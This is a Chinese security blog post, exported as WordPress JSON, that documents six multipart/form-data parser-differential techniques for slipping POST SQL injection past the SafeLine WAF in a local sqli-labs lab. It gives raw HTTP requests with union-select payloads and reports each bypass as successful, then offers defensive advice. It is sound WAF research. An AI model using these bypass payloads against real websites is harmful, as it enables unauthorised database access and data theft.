{"id":109,"date":"2026-03-05T12:39:00","date_gmt":"2026-03-05T04:39:00","guid":{"rendered":"https:\/\/danchengjie.cn\/?p=109"},"modified":"2026-04-06T12:48:59","modified_gmt":"2026-04-06T04:48:59","slug":"%e9%9b%b7%e6%b1%a0-waf-post-%e5%9e%8b-sql-%e6%b3%a8%e5%85%a5%e7%bb%95%e8%bf%87%e7%a0%94%e7%a9%b6%ef%bc%9amultipart-%e5%b7%ae%e5%bc%82%e5%8c%96%e8%a7%a3%e6%9e%90%e5%ae%9e%e6%88%98","status":"publish","type":"post","link":"https:\/\/danchengjie.cn\/index.php\/2026\/03\/05\/%e9%9b%b7%e6%b1%a0-waf-post-%e5%9e%8b-sql-%e6%b3%a8%e5%85%a5%e7%bb%95%e8%bf%87%e7%a0%94%e7%a9%b6%ef%bc%9amultipart-%e5%b7%ae%e5%bc%82%e5%8c%96%e8%a7%a3%e6%9e%90%e5%ae%9e%e6%88%98\/","title":{"rendered":"\u96f7\u6c60 WAF POST \u578b SQL \u6ce8\u5165\u7ed5\u8fc7\u7814\u7a76\uff1amultipart \u5dee\u5f02\u5316\u89e3\u6790\u5b9e\u6218"},"content":{"rendered":"\n
\n

\u4f5c\u8005\uff1axiaodan
\u73af\u5883\uff1a\u672c\u5730\u865a\u62df\u673a\u9776\u573a\uff08sqli-labs Less-11\uff09+ \u96f7\u6c60 WAF \u4e2a\u4eba\u7248
\u58f0\u660e\uff1a\u672c\u6587\u6240\u6709\u6d4b\u8bd5\u5747\u5728\u81ea\u5efa\u9776\u573a\u73af\u5883\u4e2d\u5b8c\u6210\uff0c\u4e25\u7981\u7528\u4e8e\u672a\u6388\u6743\u76ee\u6807\u3002<\/p>\n<\/blockquote>\n\n\n\n

\n\n\n\n

\u4e00\u3001\u73af\u5883\u642d\u5efa<\/h2>\n\n\n\n

1.1 \u6574\u4f53\u62d3\u6251<\/h3>\n\n\n\n
\u7269\u7406\u673a\uff08Burp Suite\uff09\n    \u2502\n    \u25bc\n\u865a\u62df\u673aA\uff1a\u96f7\u6c60 WAF\uff08\u53cd\u5411\u4ee3\u7406\u6a21\u5f0f\uff09\n    \u2502\n    \u25bc\n\u865a\u62df\u673aB\uff1a\u5b9d\u5854\u9762\u677f + sqli-labs \u9776\u573a<\/code><\/pre>\n\n\n\n
1.2 \u7ec4\u4ef6\u7248\u672c<\/h3>\n\n\n\n
\u7ec4\u4ef6<\/th>\u7248\u672c\/\u8bf4\u660e<\/th><\/tr><\/thead>
\u9776\u573a<\/td>sqli-labs Less-11\uff08POST \u767b\u5f55\u8868\u5355\uff09<\/td><\/tr>
WAF<\/td>\u957f\u4ead\u96f7\u6c60 WAF \u4e2a\u4eba\u7248<\/td><\/tr>
Web\u670d\u52a1<\/td>\u5b9d\u5854\u9762\u677f + PHP + MySQL<\/td><\/tr>
\u6d4b\u8bd5\u5de5\u5177<\/td>Burp Suite<\/td><\/tr>
\u57df\u540d<\/td>\u672c\u5730\u89e3\u6790\uff0c\u7ed1\u5b9a hosts<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
1.3 \u96f7\u6c60\u914d\u7f6e\u8981\u70b9<\/h3>\n\n\n\n
    \n
  • \u96f7\u6c60\u4ee5\u53cd\u5411\u4ee3\u7406<\/strong>\u6a21\u5f0f\u90e8\u7f72\u5728\u9776\u573a\u524d<\/li>\n\n\n\n
  • \u9632\u62a4\u89c4\u5219\u5f00\u542f SQL \u6ce8\u5165\u68c0\u6d4b<\/li>\n\n\n\n
  • \u7269\u7406\u673a\u8bbf\u95ee\u57df\u540d\u6d41\u91cf\u7ecf\u8fc7\u96f7\u6c60\u8f6c\u53d1\u81f3\u540e\u7aef\u9776\u573a<\/li>\n<\/ul>\n\n\n\n
    \n\n\n\n
    \u4e8c\u3001\u57fa\u51c6\u6d4b\u8bd5\uff1a\u88f8 Payload \u88ab\u62e6\u622a<\/h2>\n\n\n\n
    \u672a\u505a\u4efb\u4f55\u7ed5\u8fc7\uff0c\u76f4\u63a5\u53d1\u9001\u6807\u51c6 POST SQL \u6ce8\u5165 Payload\uff1a<\/p>\n\n\n\n
    POST \/Less-11\/ HTTP\/1.1\nHost: www.danchengjie.com\nContent-Type: application\/x-www-form-urlencoded\n\nuname=1' union select 1,2#&passwd=a&submit=Submit<\/code><\/pre>\n\n\n\n
    \u7ed3\u679c\uff1a<\/strong> \u96f7\u6c60\u76f4\u63a5\u8fd4\u56de\u62e6\u622a\u9875\u9762\uff0cHTTP \u72b6\u6001\u7801\u975e 200\uff0c\u9875\u9762\u663e\u793a\u300c\u8bbf\u95ee\u5df2\u88ab\u62e6\u622a\u300d\u3002<\/p>\n\n\n\n
    \"\"<\/figure>\n\n\n\n
    \u8fd9\u8bf4\u660e\u96f7\u6c60\u5bf9\u6807\u51c6 application\/x-www-form-urlencoded<\/code> \u4e0b\u7684 SQL \u6ce8\u5165\u7279\u5f81\u68c0\u6d4b\u6709\u6548\u3002<\/p>\n\n\n\n
    \n\n\n\n
    \u4e09\u3001\u6838\u5fc3\u601d\u8def\uff1amultipart \u5dee\u5f02\u5316\u89e3\u6790<\/h2>\n\n\n\n
    3.1 \u539f\u7406\u8bf4\u660e<\/h3>\n\n\n\n
    HTTP multipart\/form-data<\/code> \u534f\u8bae\uff08RFC 2046\uff09\u5141\u8bb8\u5728\u4e00\u4e2a\u8bf7\u6c42\u4f53\u4e2d\u4f20\u8f93\u591a\u4e2a\u5b57\u6bb5\uff0c
    \u6bcf\u4e2a\u5b57\u6bb5\u7531 boundary \u5206\u9694\uff0c\u5e76\u901a\u8fc7 Content-Disposition<\/code> \u5934\u58f0\u660e\u5b57\u6bb5\u540d\u3002<\/p>\n\n\n\n
    WAF \u4e0e\u540e\u7aef\uff08PHP\uff09\u5bf9 multipart \u7684\u89e3\u6790\u5b9e\u73b0\u5b58\u5728\u5dee\u5f02\uff1a<\/strong><\/p>\n\n\n\n
      \n
    • WAF \u9700\u8981\u9ad8\u901f\u5904\u7406\u6d77\u91cf\u8bf7\u6c42\uff0c\u89e3\u6790\u903b\u8f91\u503e\u5411\u4e8e\u5feb\u901f\u3001\u5bbd\u677e<\/strong><\/li>\n\n\n\n
    • PHP \u7684 multipart \u89e3\u6790\u9075\u5faa\u81ea\u8eab\u5b9e\u73b0\u89c4\u5219\uff0c\u5bf9\u67d0\u4e9b\u5f02\u5e38\u7ed3\u6784\u6709\u7279\u5b9a\u7684\u5bb9\u9519\u884c\u4e3a<\/li>\n<\/ul>\n\n\n\n
      \u5229\u7528\u8fd9\u79cd \u89e3\u6790\u5dee\u5f02\uff08Parser Differential\uff09<\/strong>\uff0c\u53ef\u4ee5\u6784\u9020 WAF \u65e0\u6cd5\u6b63\u786e\u8bc6\u522b
      \u4f46\u540e\u7aef\u80fd\u6b63\u5e38\u89e3\u6790\u7684\u8bf7\u6c42\uff0c\u4ece\u800c\u8ba9\u6076\u610f Payload \u7ed5\u8fc7\u68c0\u6d4b\u3002<\/p>\n\n\n\n
      3.2 \u57fa\u7840\u7ed3\u6784\u5bf9\u6bd4<\/h3>\n\n\n\n
      \u6b63\u5e38 multipart \u8bf7\u6c42\u7ed3\u6784\uff1a<\/p>\n\n\n\n
      Content-Type: multipart\/form-data;boundary=a\n\n--a\nContent-Disposition: form-data; name=\"uname\"\n\nadmin\n--a--<\/code><\/pre>\n\n\n\n
      \u540e\u7eed\u6240\u6709\u7ed5\u8fc7\u65b9\u6848\u5747\u57fa\u4e8e\u5bf9\u8fd9\u4e2a\u7ed3\u6784\u7684”\u7578\u5f62\u5316”\u6539\u9020\u3002<\/p>\n\n\n\n
      \n\n\n\n
      \u56db\u3001\u7ed5\u8fc7\u65b9\u6848\u5b9e\u6218<\/h2>\n\n\n\n
      \u65b9\u6848\u4e00\uff1a\u53cc Content-Disposition + filename \u6b3a\u9a97\uff08\u57fa\u7840\u7248\uff09<\/h3>\n\n\n\n
      \u6784\u9020\u65b9\u5f0f\uff1a<\/strong><\/p>\n\n\n\n
      Content-Type: multipart\/form-data;boundary=a\n\n--a\nContent-Disposition: form-data; name=\"uname\";\nContent-Disposition: form-data; name=\"uname\";filename=\"1.txt\"\nContext-Type: image\/png\n\nuname=a' union select 1,(select schema_name from information_schema.schemata limit 1,1)#&passwd=a&submit=Submit\n--a\nContent-Disposition: form-data; name=\"passwd\";\n\nDumb\n--a\nContent-Disposition: form-data; name=\"submit\";\n\nSubmit\n--a--<\/code><\/pre>\n\n\n\n
      \u7ed5\u8fc7\u903b\u8f91\uff1a<\/strong><\/p>\n\n\n\n
      \u540c\u4e00 part \u5185\u51fa\u73b0\u4e24\u884c Content-Disposition<\/code>\uff1a<\/p>\n\n\n\n
        \n
      • \u7b2c\u4e00\u884c\u5e26 filename=\"1.png\"<\/code> \u2192 WAF \u8bef\u5224\u4e3a\u6587\u4ef6\u4e0a\u4f20\u5b57\u6bb5\uff0c\u8df3\u8fc7 SQL \u6ce8\u5165\u68c0\u6d4b<\/li>\n\n\n\n
      • \u7b2c\u4e8c\u884c\u662f\u6807\u51c6\u5b57\u6bb5\u58f0\u660e \u2192 PHP \u6309\u540e\u8005\u89e3\u6790\uff0c\u6b63\u5e38\u53d6\u503c<\/li>\n<\/ul>\n\n\n\n
        \u7ed3\u679c\uff1a<\/strong> \u2705 \u6210\u529f\u7ed5\u8fc7\uff0c\u9875\u9762\u8fd4\u56de\u6570\u636e\u5e93\u540d\u3002<\/p>\n\n\n\n
        \"\"<\/figure>\n\n\n\n
        \n\n\n\n
        \u65b9\u6848\u4e8c\uff1afilename \u53c2\u6570 Tab \u5b57\u7b26\u63d2\u5165<\/h3>\n\n\n\n
        \u6784\u9020\u65b9\u5f0f\uff08\u5173\u952e\u884c\uff09\uff1a<\/strong><\/p>\n\n\n\n
        Content-Disposition: form-data; name=\"uname\";filename    =\"1.txt\"\nContent-Disposition: form-data; name=\"uname\"<\/code><\/pre>\n\n\n\n
        \u5728 filename<\/code> \u4e0e =<\/code> \u4e4b\u95f4\u63d2\u5165 \\t<\/code>\uff08Tab\uff0c0x09\uff09\u3002<\/p>\n\n\n\n
        \u7ed5\u8fc7\u903b\u8f91\uff1a<\/strong><\/p>\n\n\n\n
        WAF \u5728\u89e3\u6790\u53c2\u6570\u540d\u65f6\uff0c\u9047\u5230 filename\\t=<\/code> \u53ef\u80fd\u65e0\u6cd5\u8bc6\u522b\u4e3a\u5408\u6cd5\u7684
        filename<\/code> \u5c5e\u6027\uff0c\u5bfc\u81f4\u6574\u4e2a part \u7684\u8bed\u4e49\u89e3\u6790\u51fa\u9519\uff0c\u8fdb\u800c\u8df3\u8fc7\u68c0\u6d4b\u3002
        PHP \u5bf9 Tab \u5b57\u7b26\u66f4\u5bbd\u5bb9\uff0c\u80fd\u6b63\u786e\u63d0\u53d6 filename \u5e76\u6309\u6587\u4ef6\u5b57\u6bb5\u5904\u7406\u7b2c\u4e00\u884c\uff0c
        \u4ee5\u7b2c\u4e8c\u884c name=\"uname\"<\/code> \u4f5c\u4e3a\u5b57\u6bb5\u540d\u6b63\u5e38\u8d4b\u503c\u3002<\/p>\n\n\n\n
        \"\"<\/figure>\n\n\n\n
        \u7ed3\u679c\uff1a<\/strong> \u2705 \u6210\u529f\u7ed5\u8fc7\u3002<\/p>\n\n\n\n
        \n\n\n\n
        \u65b9\u6848\u4e09\uff1afilename \u53c2\u6570\u7a7a\u683c\u63d2\u5165<\/h3>\n\n\n\n
        \u6784\u9020\u65b9\u5f0f\uff08\u5173\u952e\u884c\uff09\uff1a<\/strong><\/p>\n\n\n\n
        Content-Disposition: form-data; name=\"uname\";filename =\"1.txt\"\nContent-Disposition: form-data; name=\"uname\"<\/code><\/pre>\n\n\n\n
        \u4e0e\u65b9\u6848\u4e8c\u7c7b\u4f3c\uff0c\u5728 filename<\/code> \u4e0e =<\/code> \u4e4b\u95f4\u63d2\u5165\u666e\u901a\u7a7a\u683c\uff080x20\uff09\u3002<\/p>\n\n\n\n
        \u7ed5\u8fc7\u903b\u8f91\uff1a<\/strong><\/p>\n\n\n\n
        \u90e8\u5206 WAF \u7684\u53c2\u6570\u89e3\u6790\u5668\u4f7f\u7528\u4e25\u683c\u5339\u914d\uff0cfilename =<\/code>\uff08\u5e26\u7a7a\u683c\uff09\u4e0d\u5339\u914d
        \u9884\u671f\u7684 filename=<\/code>\uff0c\u5bfc\u81f4\u6574\u4e2a filename \u5c5e\u6027\u88ab\u5ffd\u7565\uff0cfield \u88ab\u8bef\u5224\u4e3a
        \u666e\u901a\u6587\u672c\u5b57\u6bb5\u800c\u975e\u6587\u4ef6\u4e0a\u4f20\u5b57\u6bb5\uff0c\u8fdb\u800c\u653e\u884c\u4e86\u5305\u542b Payload \u7684\u5185\u5bb9\u3002
        PHP \u7684\u89e3\u6790\u5668\u5bf9\u6b64\u7a7a\u683c\u5177\u6709\u5bb9\u9519\u6027\uff0c\u4ecd\u80fd\u8bc6\u522b\u4e3a\u6587\u4ef6\u5b57\u6bb5\u3002<\/p>\n\n\n\n
        \"\"<\/figure>\n\n\n\n
        \u7ed3\u679c\uff1a<\/strong> \u2705 \u6210\u529f\u7ed5\u8fc7\u3002<\/p>\n\n\n\n
        \n\n\n\n
        \u65b9\u6848\u56db\uff1aname \u503c\u5185\u5d4c \\0 \u7a7a\u5b57\u8282\u622a\u65ad<\/h3>\n\n\n\n
        \u6784\u9020\u65b9\u5f0f\uff08\u5173\u952e\u884c\uff09\uff1a<\/strong><\/p>\n\n\n\n
        Content-Disposition: form-data; name=\"uname\\0\";filename=\"1.txt\"\nContent-Disposition: form-data; name=\"uname\"<\/code><\/pre>\n\n\n\n
        \u5728\u7b2c\u4e00\u884c name<\/code> \u7684\u503c\u4e2d\uff0cuname<\/code> \u540e\u63d2\u5165\u7a7a\u5b57\u8282\uff08\\0<\/code>\uff0c0x00\uff09\u3002<\/p>\n\n\n\n
        \u7ed5\u8fc7\u903b\u8f91\uff1a<\/strong><\/p>\n\n\n\n
        WAF \u5728\u63d0\u53d6\u5b57\u6bb5\u540d\u65f6\uff0c\u9047\u5230 \\0<\/code> \u53ef\u80fd\u53d1\u751f\u622a\u65ad\u6216\u89e3\u6790\u9519\u8bef\uff0c
        \u5bfc\u81f4\u65e0\u6cd5\u6b63\u786e\u5173\u8054\u5b57\u6bb5\u540d\u4e0e Payload\uff0c\u68c0\u6d4b\u903b\u8f91\u5931\u6548\u3002
        PHP \u5e95\u5c42 C \u5b9e\u73b0\u4e2d\u5b57\u7b26\u4e32\u4ee5 \\0<\/code> \u7ed3\u5c3e\uff0c\u63d0\u53d6 name \u65f6\u622a\u65ad\u4e3a uname<\/code>\uff0c
        \u7b2c\u4e8c\u884c\u6b63\u5e38\u8d4b\u503c\uff0c\u540e\u7aef\u903b\u8f91\u5b8c\u5168\u6b63\u5e38\u6267\u884c\u3002<\/p>\n\n\n\n
        \"\"<\/figure>\n\n\n\n
        \u7ed3\u679c\uff1a<\/strong> \u2705 \u6210\u529f\u7ed5\u8fc7\u3002<\/p>\n\n\n\n
        \n\n\n\n
        \u65b9\u6848\u4e94\uff1aContent-Disposition \u5934\u540d\u79f0\u540e\u63d2\u5165 \\0<\/h3>\n\n\n\n
        \u6784\u9020\u65b9\u5f0f\uff08\u5173\u952e\u884c\uff09\uff1a<\/strong><\/p>\n\n\n\n
        Content-Disposition\\0:form-data; name=\"uname\";filename=\"1.txt\"\nContent-Disposition: form-data; name=\"uname\"<\/code><\/pre>\n\n\n\n
        \u4e0d\u662f\u5728\u503c\u91cc\u52a0 \\0<\/code>\uff0c\u800c\u662f\u5728\u5934\u90e8\u540d\u79f0<\/strong>\u7684\u672b\u5c3e\u3001\u5192\u53f7\u4e4b\u524d\u63d2\u5165 \\0<\/code>\u3002<\/p>\n\n\n\n
        \u7ed5\u8fc7\u903b\u8f91\uff1a<\/strong><\/p>\n\n\n\n
        WAF \u89e3\u6790 HTTP \u5934\u65f6\uff0cContent-Disposition\\0<\/code> \u4e0d\u5339\u914d\u6807\u51c6\u5934\u540d\u79f0\uff0c
        \u53ef\u80fd\u5c06\u6574\u884c\u89c6\u4e3a\u975e\u6cd5\u5934\u800c\u5ffd\u7565\uff0c\u5bfc\u81f4 WAF \u770b\u4e0d\u5230\u8fd9\u4e00\u884c\u7684 filename \u58f0\u660e\uff0c
        \u65e0\u6cd5\u8bc6\u522b\u6587\u4ef6\u4e0a\u4f20\u8bed\u4e49\uff0c\u68c0\u6d4b\u903b\u8f91\u5b8c\u5168\u8df3\u8fc7\u8fd9\u4e2a part\u3002
        PHP \u7684 multipart \u89e3\u6790\u5668\u5728\u5904\u7406 body \u65f6\u6709\u72ec\u7acb\u903b\u8f91\uff0c\u5bf9\u8fd9\u4e2a \\0<\/code>
        \u7684\u5904\u7406\u65b9\u5f0f\u4e0e WAF \u4e0d\u540c\uff0c\u4ecd\u80fd\u63d0\u53d6\u5230 filename \u5e76\u6309\u9884\u671f\u89e3\u6790\u3002<\/p>\n\n\n\n
        \"\"<\/figure>\n\n\n\n
        \u7ed3\u679c\uff1a<\/strong> \u2705 \u6210\u529f\u7ed5\u8fc7\u3002<\/p>\n\n\n\n
        \n\n\n\n
        \u65b9\u6848\u516d\uff1a\u6df7\u5408 Content-Type\uff08\u53cc\u7c7b\u578b\u58f0\u660e\uff09<\/h3>\n\n\n\n
        \u6784\u9020\u65b9\u5f0f\uff08\u5173\u952e\u5934\uff09\uff1a<\/strong><\/p>\n\n\n\n
        Content-Type: application\/x-www-form-urlencoded;multipart\/form-data;boundary=a;<\/code><\/pre>\n\n\n\n
        \u5c06\u4e24\u79cd Content-Type \u5199\u5728\u540c\u4e00\u884c\uff0c\u540c\u65f6\u5728 body \u4e2d\u4f7f\u7528 multipart \u7ed3\u6784\uff0c
        Payload \u4ee5 &uname=<\/code> \u524d\u7f00\u5199\u5728 part \u7684 body \u533a\u57df\u5185\u3002<\/p>\n\n\n\n
        \u7ed5\u8fc7\u903b\u8f91\uff1a<\/strong><\/p>\n\n\n\n
        WAF \u9047\u5230\u975e\u6807\u51c6\u7684\u6df7\u5408 Content-Type \u65f6\uff0c\u53ef\u80fd\u4f18\u5148\u6309
        application\/x-www-form-urlencoded<\/code> \u89e3\u6790 body\uff0c
        \u5728 URL \u7f16\u7801\u683c\u5f0f\u4e2d\u627e\u4e0d\u5230\u5b8c\u6574\u7684 SQL \u6ce8\u5165\u7279\u5f81\uff08\u56e0\u4e3a\u5185\u5bb9\u662f multipart \u683c\u5f0f\uff09\uff0c
        \u68c0\u6d4b\u5931\u6548\u3002PHP \u5b9e\u9645\u4f18\u5148\u8bc6\u522b multipart\/form-data<\/code> \u5e76\u627e\u5230 boundary\uff0c
        \u6309 multipart \u89c4\u5219\u6b63\u5e38\u89e3\u6790\u51fa\u5b57\u6bb5\u548c\u503c\u3002<\/p>\n\n\n\n
        \"\"<\/figure>\n\n\n\n
        \u7ed3\u679c\uff1a<\/strong> \u2705 \u6210\u529f\u7ed5\u8fc7\u3002<\/p>\n\n\n\n
        \n\n\n\n
        \u4e94\u3001\u7ed5\u8fc7\u624b\u6cd5\u6c47\u603b<\/h2>\n\n\n\n
        \u7f16\u53f7<\/th>\u65b9\u6848<\/th>\u6838\u5fc3\u53d8\u5f02\u70b9<\/th>\u7ed5\u8fc7\u539f\u7406<\/th><\/tr><\/thead>
        1<\/td>\u53cc Content-Disposition + filename<\/td>filename=”1.png” \u6b3a\u9a97<\/td>WAF \u8bef\u5224\u6587\u4ef6\u4e0a\u4f20\u5b57\u6bb5<\/td><\/tr>
        2<\/td>filename \u53c2\u6570 Tab \u622a\u65ad<\/td>filename\\t=<\/code><\/td>WAF \u53c2\u6570\u540d\u89e3\u6790\u5931\u8d25<\/td><\/tr>
        3<\/td>filename \u53c2\u6570\u7a7a\u683c\u63d2\u5165<\/td>filename =<\/code><\/td>WAF \u4e25\u683c\u5339\u914d\u5931\u6548<\/td><\/tr>
        4<\/td>name \u503c \\0 \u622a\u65ad<\/td>name=\"uname\\0\"<\/code><\/td>WAF \u5b57\u6bb5\u540d\u63d0\u53d6\u5f02\u5e38<\/td><\/tr>
        5<\/td>\u5934\u540d\u79f0\u540e\u63d2 \\0<\/td>Content-Disposition\\0:<\/code><\/td>WAF \u5ffd\u7565\u975e\u6cd5\u5934\u540d<\/td><\/tr>
        6<\/td>\u6df7\u5408 Content-Type<\/td>\u53cc\u7c7b\u578b\u58f0\u660e<\/td>WAF \u89e3\u6790\u7c7b\u578b\u5224\u65ad\u9519\u8bef<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
        \n\n\n\n
        \u516d\u3001\u603b\u7ed3\u4e0e\u601d\u8003<\/h2>\n\n\n\n
        6.1 \u6838\u5fc3\u7ed3\u8bba<\/h3>\n\n\n\n
        \u672c\u6b21\u7814\u7a76\u9a8c\u8bc1\u4e86\u4e00\u4e2a\u6838\u5fc3\u547d\u9898\uff1aWAF \u7684\u5b89\u5168\u6027\u5efa\u7acb\u5728\u5176\u4e0e\u540e\u7aef\u89e3\u6790\u884c\u4e3a\u4e00\u81f4\u7684\u5047\u8bbe\u4e0a\uff0c \u4e00\u65e6\u4e8c\u8005\u51fa\u73b0 Parser Differential\uff0cWAF \u7684\u68c0\u6d4b\u5c31\u4f1a\u5931\u6548\u3002<\/strong><\/p>\n\n\n\n
        multipart\/form-data \u534f\u8bae\u672c\u8eab\u5b9a\u4e49\u8f83\u4e3a\u5bbd\u677e\uff0cRFC 2046 \u5bf9\u5f88\u591a\u8fb9\u754c\u60c5\u51b5
        \u6ca1\u6709\u660e\u786e\u89c4\u5b9a\uff0c\u7ed9\u4e86\u4e0d\u540c\u5b9e\u73b0\u5404\u81ea\u53d1\u6325\u7684\u7a7a\u95f4\uff0c\u8fd9\u6b63\u662f\u6b64\u7c7b\u7ed5\u8fc7\u957f\u671f\u5b58\u5728\u7684\u6839\u672c\u539f\u56e0\u3002<\/p>\n\n\n\n
        6.2 \u9632\u5fa1\u5efa\u8bae<\/h3>\n\n\n\n
        \u5bf9\u4e8e WAF \u5382\u5546\uff1a<\/p>\n\n\n\n
          \n
        • \u5bf9 multipart \u89e3\u6790\u5e94\u4e0e\u4e3b\u6d41\u540e\u7aef\uff08PHP\/Java\/Python\uff09\u7684\u5b9e\u9645\u884c\u4e3a\u4e25\u683c\u5bf9\u9f50<\/li>\n\n\n\n
        • \u5bf9\u7578\u5f62\u7684 Content-Disposition\uff08\u91cd\u590d\u3001\u542b\u7279\u6b8a\u5b57\u7b26\uff09\u5e94\u76f4\u63a5\u62d2\u7edd\u800c\u975e\u5ffd\u7565<\/li>\n\n\n\n
        • \u5bf9\u6df7\u5408 Content-Type \u5e94\u91c7\u53d6\u4fdd\u5b88\u7b56\u7565\uff0c\u7591\u4f3c\u5f02\u5e38\u8bf7\u6c42\u4e00\u5f8b\u62e6\u622a<\/li>\n<\/ul>\n\n\n\n
          \u5bf9\u4e8e\u5f00\u53d1\u8005\uff1a<\/p>\n\n\n\n
            \n
          • \u540e\u7aef\u5e94\u5bf9\u4e0a\u4f20\u5b57\u6bb5\u505a\u4e25\u683c\u7684\u7c7b\u578b\u548c\u5185\u5bb9\u6821\u9a8c\uff0c\u4e0d\u4f9d\u8d56 WAF \u4f5c\u4e3a\u552f\u4e00\u9632\u7ebf<\/li>\n\n\n\n
          • \u654f\u611f\u63a5\u53e3\u5efa\u8bae\u5728\u5e94\u7528\u5c42\u505a\u4e8c\u6b21\u8f93\u5165\u8fc7\u6ee4<\/li>\n<\/ul>\n\n\n\n
            6.3 \u5ef6\u4f38\u65b9\u5411<\/h3>\n\n\n\n
              \n
            • HTTP\/2 \u7684 multipart \u89e3\u6790\u5dee\u5f02<\/li>\n\n\n\n
            • JSON \u5d4c\u5957\u7ed3\u6784\u7684\u89e3\u6790\u5dee\u5f02\u7ed5\u8fc7<\/li>\n\n\n\n
            • Chunked Transfer Encoding \u5206\u5757\u4f20\u8f93\u7ed5\u8fc7<\/li>\n\n\n\n
            • \u53c2\u8003\uff1aRFC 2046\u3001OWASP WAF Bypass\u3001\u5148\u77e5\u793e\u533a\u76f8\u5173\u8bae\u9898<\/li>\n<\/ul>\n\n\n\n
              \n\n\n\n
              \n
              \u672c\u6587\u6240\u6709\u5b9e\u9a8c\u5747\u5728\u81ea\u5efa\u672c\u5730\u9776\u573a\u5b8c\u6210\uff0c\u57df\u540d\u5df2\u505a\u672c\u5730 hosts \u89e3\u6790\uff0c
              \u4e0d\u6d89\u53ca\u4efb\u4f55\u771f\u5b9e\u7ebf\u4e0a\u7cfb\u7edf\u3002\u5982\u9700\u590d\u73b0\uff0c\u8bf7\u81ea\u884c\u642d\u5efa\u5408\u6cd5\u6d4b\u8bd5\u73af\u5883\u3002
              “`<\/p>\n<\/blockquote>\n\n\n\n
              \n","protected":false},"excerpt":{"rendered":"
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